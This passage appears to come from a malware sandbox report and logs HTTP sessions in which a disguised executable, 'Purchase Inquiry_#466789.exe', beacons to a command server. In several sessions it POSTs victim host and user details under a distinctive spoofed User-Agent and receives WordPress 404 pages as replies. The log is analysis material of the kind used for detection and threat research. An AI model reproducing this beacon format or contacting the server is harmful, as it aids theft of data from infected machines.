65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:10.080281019 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:10.080312967 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:10.080327034 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:33:10.080354929 CEST	1236	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:33:10.080375910 CEST	1236	IN	Data Raw: 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c 31 29 20 30 25 2c 72 67 62 28 32 30 37 2c 34 36 2c 34 36 29 20 31 30 30 25 29 Data Ascii: nge-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-w
May 27, 2024 08:33:10.080399036 CEST	1236	IN	Data Raw: 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 32 30 3a 20 30 2e 34 34 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 33 30 3a 20 30 2e 36 37 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 Data Ascii: -preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--p
May 27, 2024 08:33:10.080414057 CEST	1236	IN	Data Raw: 77 68 69 74 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f Data Ascii: white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-c
May 27, 2024 08:33:10.080445051 CEST	1236	IN	Data Raw: 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 Data Ascii: t;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-
May 27, 2024 08:33:10.080476046 CEST	1236	IN	Data Raw: 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 Data Ascii: important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-bo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49769	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:10.404395103 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:10.410917997 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:12.489229918 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:10 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:12.489263058 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:12.489288092 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:12.489308119 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:33:12.489330053 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:33:12.489356995 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:12.489381075 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:12.489403009 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:12.489427090 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:33:12.489447117 CEST	1236	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-lig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49770	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:12.641160011 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:12.646167994 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:33:14.786736012 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:33:13 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:33:14.786771059 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:33:14.786796093 CEST	448	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:33:14.786818981 CEST	1236	IN	Data Raw: 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 Data Ascii: "DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.support
May 27, 2024 08:33:14.786834955 CEST	1236	IN	Data Raw: 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d Data Ascii: pemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: no
May 27, 2024 08:33:14.786859989 CEST	448	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 Data Ascii: -color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color
May 27, 2024 08:33:14.786895037 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:33:14.786914110 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:33:14.786935091 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:33:14.786957979 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49771	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:33:14.951788902 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:33:14.957004070 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
